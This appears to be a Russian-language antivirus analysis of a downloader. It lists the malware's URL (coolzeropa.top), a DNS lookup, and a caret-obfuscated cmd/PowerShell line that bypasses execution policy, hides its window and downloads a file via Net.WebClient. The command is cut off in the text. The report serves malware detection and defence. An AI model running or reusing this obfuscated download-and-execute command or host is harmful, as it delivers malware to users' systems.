Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://coolzeropa.top/admin.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "POwerS^HElL^.e^x^E -^exE^cu^TIONPo^Li^cY b^Y^p^As^s ^-NOp^r^Of^IlE^ -^W^In^d^Ow^S^t^y^Le^ ^h^i^DDeN^ (N^EW-o^Bj^EcT S^ys^t^em^.^N^e^t^.^wE^BcLI^E^nt).Do^wnl^OA^d^fiLE('http://...
Сетевая активность
UDP
- DNS ASK co###eropa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "POwerS^HElL^.e^x^E -^exE^cu^TIONPo^Li^cY b^Y^p^As^s ^-NOp^r^Of^IlE^ -^W^In^d^Ow^S^t^y^Le^ ^h^i^DDeN^ (N^EW-o^Bj^EcT S^ys^t^em^.^N^e^t^.^wE^BcLI^E^nt).Do^wnl^OA^d^fiLE('http://...' (со скрытым окном)
